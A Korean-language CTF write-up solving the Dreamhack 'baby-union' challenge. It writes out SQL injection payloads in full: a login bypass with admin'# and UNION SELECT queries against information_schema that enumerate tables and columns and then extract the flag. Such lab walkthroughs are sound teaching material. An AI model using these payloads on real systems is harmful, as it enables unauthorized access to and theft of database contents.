https://dreamhack.io/wargame/challenges/984
처음 풀 문제는 baby-union 이라는 문제이다.
해당 문제에 접속을 하면, sql query문이 보이고, uid, upw를 입력하는 칸이 보인다.
우선 sql injection이 가능한지 확인하기 위해서 admin'#
를 uid에 넣고, upw에는 아무 문자열이나 넣는다.
그렇다면 admin계정으로 접속 되는걸 확인할수 있다.
해당 코드를 넣었을때 sql 쿼리문은 이렇게 변한다.
SELECT * FROM users WHERE uid='admin'#' and upw='';
admin
을 넣고, '
으로 uid를 닫아주고, #
으로 뒤에 upw를 무시해준다.
그렇다면 SQL 명령어중 2개 이상의 쿼리문을 합쳐주는 UNION
을 사용하여 table_name을 출력한다.
' union select table_name, null, null, null from information_schema.tables#
우선 column의 수가 4개일거 같으니 table_name, null, null, null
로 해준다.
안될 경우 3개, 또는 2개로 해본다.
그 다음 information_schema.tables
를 보자.
information_schema
는 DB의 메타 정보(테이블, 컬럼, 인덱스 등의 스키마 정보)를 모아둔 DB이다.
즉 information_schema.tables
는 스키마의 테이블 정보를 가져오는 명령어이다.
다음 테이블들을 확인해 봤을때, onlyflag가 수상해 보이니, onlyflag에 접근해본다.
' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag' #
이번에는 table_name
이 아닌 columns
즉 컬럼의 이름을 가져온다.
table_name='onlyflag'
는 'onlyflag'라는 테이블을 정의한 것이다.
즉 onlyflag 안의 컬럼들을 출력한 것이다.
이제 컬럼의 데이터를 가져오자.
' union select sname, svalue, sflag, sclose from onlyflag #
이렇게 한다면 sclose가 누락되어 있는것을 볼수 있다. 그러니 한개씩 땡겨서
' union select svalue, sflag, null, sclose from onlyflag #
이렇게 하면 flag값이 출력되는걸 볼수 있다.